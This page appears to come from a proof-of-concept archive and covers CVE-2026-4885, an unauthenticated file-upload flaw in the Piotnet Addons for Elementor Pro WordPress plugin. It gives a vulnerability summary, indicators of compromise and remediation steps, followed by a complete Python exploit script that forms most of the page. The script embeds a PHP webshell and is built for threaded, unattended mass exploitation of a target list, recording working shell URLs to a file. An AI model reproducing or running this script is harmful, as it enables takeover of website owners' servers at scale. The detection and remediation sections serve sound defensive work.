PoC Archive PoC Archive
Critical CVE-2026-4885 unpatched

Piotnet Addons for Elementor Pro Unauthenticated Arbitrary File Upload RCE (CVE-2026-4885)

by Jenderal92 · 2026-07-05

Severity
Critical
CVE
CVE-2026-4885
Category
web
Affected product
Piotnet Addons for Elementor Pro (WordPress plugin)
Affected versions
<= 7.1.70
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherJenderal92
CVE / AdvisoryCVE-2026-4885
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagswordpress, wordpress-plugin, elementor, piotnet, file-upload, webshell, unauthenticated, rce, mass-exploit
RelatedN/A

Affected Target

FieldValue
Software / SystemPiotnet Addons for Elementor Pro (WordPress plugin)
Versions Affected<= 7.1.70
Language / PlatformPHP / WordPress; PoC written in Python 2 (requests)
Authentication RequiredNo (unauthenticated)
Network Access RequiredYes

Summary

Piotnet Addons for Elementor Pro (<= 7.1.70) exposes a form-builder file-upload AJAX action (pafe_ajax_form_builder) that insufficiently validates uploaded file extensions, allowing unauthenticated attackers to upload PHP files disguised with alternate executable extensions (.phtml, .php3, .php4, .phps, .pht, .php2) and a GIF89a polyglot header. A companion pafe_export_database AJAX action leaks the full URL of the uploaded file via CSV export, letting the attacker locate and execute the uploaded webshell, achieving remote code execution. The included PoC is built for mass, unattended exploitation across a list of targets.


Vulnerability Details

Root Cause

The plugin’s pafe_ajax_form_builder AJAX handler (wp-admin/admin-ajax.php?action=pafe_ajax_form_builder) accepts file uploads tied to Elementor form-builder fields without adequately restricting file extensions, permitting PHP-executable extension variants to bypass naive blocklists that only check for .php. Uploaded files are stored under a predictable path (wp-content/uploads/piotnet-addons-for-elementor/), and their URLs can subsequently be recovered through the plugin’s own pafe_export_database data-export AJAX action, which returns a CSV containing the uploaded file’s full path.

Attack Vector

  1. Attacker detects the presence/version of Piotnet Addons for Elementor Pro on the target (via plugin asset version strings or known asset paths).
  2. Attacker crawls the homepage and common form-related pages (contact, apply, quote, etc.) looking for a Piotnet Elementor form, extracting the post_id, form_id, and the file-upload field name from the page’s HTML/data attributes.
  3. Attacker submits a multipart POST to wp-admin/admin-ajax.php?action=pafe_ajax_form_builder with a JSON fields payload describing a file field, uploading a GIF89a-prefixed PHP payload under progressively tried extensions (.phtml, .php3, .php4, .phps, .pht, .php2) until one is accepted.
  4. Attacker requests wp-admin/admin-ajax.php?action=pafe_export_database, which returns a CSV/export containing the full URL of the just-uploaded file.
  5. Attacker fetches the leaked URL; the web server executes the uploaded PHP file (verified by the presence of a Logic_Internet marker string printed by the payload), confirming code execution and providing a follow-on file-upload webshell.

Impact

Unauthenticated remote code execution on any WordPress site running the vulnerable plugin version, via a webshell placed in a predictable, web-accessible uploads directory — with the included tool designed for automated mass exploitation across large target lists.


Environment / Lab Setup

Target:   WordPress site with "Piotnet Addons for Elementor Pro" plugin <= 7.1.70 active
Attacker: Python 2.7 with `requests` library

Proof of Concept

PoC Script

See CVE-2026-4885.py in this folder. The PHP webshell payload (GIF89a-prefixed, prints Logic_Internet and offers a follow-on file-upload form) is embedded directly in the script (SHELL_CODE) — no external shell file is required.

1
python2 CVE-2026-4885.py targets.txt

The script iterates each target: detects the plugin/version, crawls for a Piotnet form to recover post_id/form_id/upload field name, uploads the embedded PHP payload under multiple alternate PHP extensions until the AJAX handler accepts one, leaks the resulting file URL via pafe_export_database, verifies execution by requesting the URL and checking for the Logic_Internet marker, and appends successful shell URLs to shells.txt.


Detection & Indicators of Compromise

Signs of compromise:

  • Unfamiliar .phtml/.php3/.php4/.phps/.pht/.php2 files under wp-content/uploads/piotnet-addons-for-elementor/
  • Responses containing the string Logic_Internet served from the uploads directory
  • Repeated automated AJAX requests to pafe_ajax_form_builder trying multiple file extensions in quick succession (mass-scan signature)

Remediation

ActionDetail
Primary fixUpdate Piotnet Addons for Elementor Pro to a patched version that enforces a strict upload allow-list (not just blocking .php) and disables/restricts the pafe_export_database leak endpoint
Interim mitigationDisable or remove the plugin until patched; configure the web server to refuse execution of PHP-variant extensions (.phtml, .php3-.php7, .pht, .phps) within wp-content/uploads/; restrict/monitor access to pafe_export_database and pafe_ajax_form_builder AJAX actions

References


Notes

Mirrored from https://github.com/Jenderal92/CVE-2026-4885 on 2026-07-05.

CVE-2026-4885.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import sys
import re
import json
import time
import threading
from Queue import Queue
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

TIMEOUT = 10
MAX_THREADS = 20
OUTPUT_FILE = "shells.txt"
VULN_VERSION = "7.1.70"
EXT_LIST = [".phtml", ".php3", ".php4", ".phps", ".pht", ".php2"]

HEADERS = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.9",
    "X-Requested-With": "XMLHttpRequest",
}

SHELL_CODE = b"""GIF89a;
<?php
echo 'Logic_Internet'.'<br>'.'Uname:'.php_uname().'<br>'.$cwd = getcwd();
Echo '<center>  <form method="post" target="_self" enctype="multipart/form-data">  <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" />  </form>  </center>'.'<br>';
if (!empty ($_FILES['uploads'])) {
    move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
    Echo "<script>alert('upload Done');</script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type'];
}
?>"""

GREEN = "\033[92m"
RED = "\033[91m"
CYAN = "\033[96m"
YELLOW = "\033[93m"
RESET = "\033[0m"
BOLD = "\033[1m"

def safe_unicode(s):
    if isinstance(s, unicode):
        return s
    try:
        return unicode(s, 'utf-8', errors='replace')
    except:
        return unicode(str(s), errors='replace')

def log(msg, level="info"):
    msg = safe_unicode(msg)
    if level == "success":
        print("{}{}[+] {}{}".format(GREEN, BOLD, RESET, msg.encode('utf-8', errors='replace')))
    elif level == "error":
        print("{}{}[-] {}{}".format(RED, BOLD, RESET, msg.encode('utf-8', errors='replace')))
    elif level == "warn":
        print("{}{}[!] {}{}".format(YELLOW, BOLD, RESET, msg.encode('utf-8', errors='replace')))
    else:
        print("{}{}[*] {}{}".format(CYAN, BOLD, RESET, msg.encode('utf-8', errors='replace')))

def version_lte(v1, v2):
    p1 = [int(x) for x in v1.split(".")]
    p2 = [int(x) for x in v2.split(".")]
    for i in range(max(len(p1), len(p2))):
        a = p1[i] if i < len(p1) else 0
        b = p2[i] if i < len(p2) else 0
        if a < b:
            return True
        if a > b:
            return False
    return True

def extract_field_name(html):
    m = re.search(
        r'data-pafe-form-builder-field-name=["\']([^"\']+)["\'][^>]*(?:type=["\']file|data-pafe-form-builder-upload)',
        html, re.DOTALL
    )
    if m:
        return m.group(1).strip()
    m = re.search(
        r'class=["\'][^"\']*pafe-form-builder-upload[^"\']*["\'][^>]*data-pafe-form-builder-field-name=["\']([^"\']+)["\']',
        html, re.DOTALL
    )
    if m:
        return m.group(1).strip()
    if 'pafe-form-builder' in html or 'data-pafe-form-builder' in html:
        for pattern in [r'<input[^>]*type=["\']file["\'][^>]*name=["\']([^"\']+)["\']',
                        r'<input[^>]*name=["\']([^"\']+)["\'][^>]*type=["\']file["\']']:
            for mt in re.finditer(pattern, html):
                fn = mt.group(1)
                if not fn.startswith('form_fields['):
                    return fn.rstrip('[]').strip()
    return None

def detect_version(session, target):
    try:
        r = session.get(target, timeout=TIMEOUT, verify=False)
        if r.status_code == 200:
            m = re.search(r'piotnet-addons-for-elementor-pro/[^"\']*\?ver=([0-9.]+)', r.text)
            if m:
                ver = m.group(1)
                vulnerable = version_lte(ver, VULN_VERSION)
                if vulnerable:
                    log("version {} -> VULNERABLE".format(ver), "success")
                else:
                    log("version {} -> NOT VULNERABLE".format(ver), "error")
                return ver, vulnerable
            if 'piotnet-addons-for-elementor' in r.text:
                log("plugin detected (unknown version) - assuming vulnerable", "warn")
                return None, True
    except:
        pass
    asset_paths = [
        "/wp-content/plugins/piotnet-addons-for-elementor-pro/assets/css/minify/extension.min.css",
        "/wp-content/plugins/piotnet-addons-for-elementor-pro/assets/js/minify/extension.min.js",
        "/wp-content/plugins/piotnet-addons-for-elementor-pro/assets/css/minify/font-awesome-5.min.css",
    ]
    for path in asset_paths:
        try:
            r = session.get(target + path, timeout=TIMEOUT, verify=False)
            if r.status_code == 200:
                log("plugin exists (asset found) - assuming vulnerable", "warn")
                return None, True
        except:
            continue
    log("Piotnet Addons Pro not detected", "error")
    return None, False

def collect_links(session, target):
    base = target.rstrip('/')
    extra_paths = [
        "/contact", "/contact-us", "/get-in-touch", "/apply", "/register", "/sign-up",
        "/submit", "/upload", "/form", "/quote", "/request-quote", "/free-quote",
        "/estimate", "/quote-request", "/careers", "/join-us", "/enquiry", "/inquiry",
        "/book-appointment", "/appointment", "/make-appointment", "/submit-request"
    ]
    pages = [base] + [base + p for p in extra_paths]
    try:
        home = session.get(target, timeout=TIMEOUT, verify=False)
        if home.status_code == 200:
            links = re.findall(r'href=["\']({}[^"\'#]*)["\']'.format(re.escape(base)), home.text)
            links += re.findall(r'href=["\'](/[^"\'#]*)["\']', home.text)
            for link in links:
                full = link if link.startswith("http") else base + link
                if not re.search(r'\.(css|js|png|jpg|svg|woff|gif)(\?|$)', full) and full not in pages:
                    pages.append(full)
    except:
        pass
    return pages

def gather_form_params(session, target):
    pages = collect_links(session, target)
    log("scanning {} pages...".format(len(pages)), "info")
    result = None
    for url in pages:
        try:
            r = session.get(url, timeout=TIMEOUT, verify=False)
            if r.status_code != 200:
                continue
            html = r.text
            if 'pafe' not in html.lower() and 'piotnet' not in html.lower():
                continue
            pid = (re.search(r'data-elementor-id=["\'](\d+)["\']', html) or
                   re.search(r'<input[^>]*name=["\']post_id["\'][^>]*value=["\'](\d+)["\']', html) or
                   re.search(r'data-pafe-form-builder-submit-post-id=["\'](\d+)["\']', html) or
                   re.search(r'"post_id":\s*"?(\d+)"?', html))
            post_id = pid.group(1).strip() if pid else None
            if not post_id:
                page_id = re.search(r'page-id-(\d+)', html)
                post_id = page_id.group(1).strip() if page_id else None
            fid = (re.search(r'<input[^>]*name=["\']form_id["\'][^>]*value=["\']([^"\']+)["\']', html) or
                   re.search(r'<input[^>]*value=["\']([^"\']+)["\'][^>]*name=["\']form_id["\']', html) or
                   re.search(r'"form_id":\s*"([^"]+)"', html))
            form_id = fid.group(1).strip() if fid else None
            field_name = extract_field_name(html)
            if (form_id or field_name) and post_id:
                result = {'post_id': post_id, 'form_id': form_id or 'default', 'field_name': field_name or 'file', 'page': url}
                log("found form at {} | post_id={} form_id={} field={}".format(url, post_id, form_id, field_name), "success")
                break
        except:
            continue
    if not result:
        result = {'post_id': '1', 'form_id': 'default', 'field_name': 'file'}
    return result

def upload_shell(session, ajax_url, post_id, form_id, field_name, ext, shell_data, shell_name):
    payload = json.dumps([{
        "name": field_name, "value": "",
        "file_name": ["{}{}".format(shell_name, ext)],
        "attach-files": 0, "type": "file", "image_upload": False
    }])
    files = {"{}[]".format(field_name): ("{}{}".format(shell_name, ext), shell_data, "application/octet-stream")}
    return session.post(ajax_url, data={
        "action": "pafe_ajax_form_builder",
        "post_id": post_id,
        "form_id": form_id,
        "fields": payload
    }, files=files, allow_redirects=False, timeout=TIMEOUT)

def leak_url(session, ajax_url, ext, shell_name):
    try:
        r = session.get(ajax_url, params={"action": "pafe_export_database"}, timeout=TIMEOUT)
        content = r.text.replace(u'\ufeff', '')
        pattern = r'https?://[^\s",\r\n]+/(?:wp-content/uploads/piotnet-addons-for-elementor/)?{}-[a-f0-9]+\.{}'.format(
            re.escape(shell_name), re.escape(ext.lstrip('.')))
        m = re.search(pattern, content)
        if m:
            return m.group(0)
        pattern2 = r'https?://[^\s",\r\n]+/{}-[a-f0-9]+\.{}'.format(re.escape(shell_name), re.escape(ext.lstrip('.')))
        m = re.search(pattern2, content)
        return m.group(0) if m else None
    except:
        return None

def exploit_target(target, shell_data):
    target = target.rstrip('/')
    if not target.startswith(('http://','https://')):
        target = 'https://' + target
    ajax_url = "{}/wp-admin/admin-ajax.php".format(target)
    session = requests.Session()
    session.headers.update(HEADERS)
    session.headers.update({"Referer": target + "/", "Origin": target})
    session.verify = False

    version, vulnerable = detect_version(session, target)
    if vulnerable is False:
        log("skip (not vulnerable)", "error")
        return

    params = gather_form_params(session, target)
    post_id = params['post_id']
    form_id = params['form_id']
    field = params['field_name']
    log("post_id={} form_id={} field={}".format(post_id, form_id, field), "info")

    base_name = "xxx"
    for ext in EXT_LIST:
        log("trying {}".format(ext), "info")
        try:
            resp = upload_shell(session, ajax_url, post_id, form_id, field, ext, shell_data, base_name)
        except Exception as e:
            log("upload error: {}".format(str(e)), "error")
            continue
        body = resp.text
        body_preview = safe_unicode(body[:200])
        if resp.status_code in (301,302,303,307,308):
            log("redirect - abort", "error")
            break
        if body == "0":
            log("handler not registered", "error")
            continue
        if len(body) > 1000 and body.lstrip().startswith('<!'):
            log("HTML response (cache/WAF)", "warn")
            continue
        try:
            if resp.json().get("status") != 1:
                log("rejected: {}".format(body_preview), "error")
                continue
        except:
            if '"status":1' not in body:
                log("unexpected response: {}".format(body_preview), "error")
                continue
        log("uploaded {}".format(ext), "success")
        shell_url = leak_url(session, ajax_url, ext, base_name)
        if not shell_url:
            log("leak failed", "error")
            continue
        log("shell URL: {}".format(shell_url), "success")
        try:
            r = session.get(shell_url, timeout=TIMEOUT)
            if r.status_code == 200 and "Logic_Internet" in r.text:
                print("{}{}[+] SHELL UPLOADED{} -> {}".format(GREEN, BOLD, RESET, shell_url))
                with open(OUTPUT_FILE, "a") as f:
                    f.write(shell_url + "\n")
                return shell_url
            else:
                log("shell not executable", "warn")
        except:
            log("verification failed, saving anyway", "warn")
            with open(OUTPUT_FILE, "a") as f:
                f.write(shell_url + "\n")
            return shell_url
    log("all extensions failed", "error")
    return None

def worker(queue, shell_data):
    while not queue.empty():
        try:
            target = queue.get_nowait()
        except:
            break
        exploit_target(target, shell_data)
        queue.task_done()

def main():
    if len(sys.argv) != 2:
        print("Usage: python2 {} targets.txt".format(sys.argv[0]))
        sys.exit(1)
    filename = sys.argv[1]
    try:
        with open(filename, "r") as f:
            targets = [line.strip() for line in f if line.strip() and not line.startswith("#")]
    except IOError:
        print("File not found: {}".format(filename))
        sys.exit(1)
    if not targets:
        print("No targets loaded.")
        sys.exit(1)

    shell_bytes = SHELL_CODE
    log("Loaded built-in shell ({} bytes)".format(len(shell_bytes)), "info")

    q = Queue()
    for t in targets:
        q.put(t)

    threads = []
    for _ in range(min(MAX_THREADS, len(targets))):
        th = threading.Thread(target=worker, args=(q, shell_bytes))
        th.daemon = True
        th.start()
        threads.append(th)

    for th in threads:
        th.join()

    log("Done. Results saved to {}".format(OUTPUT_FILE), "success")

if __name__ == "__main__":
    main()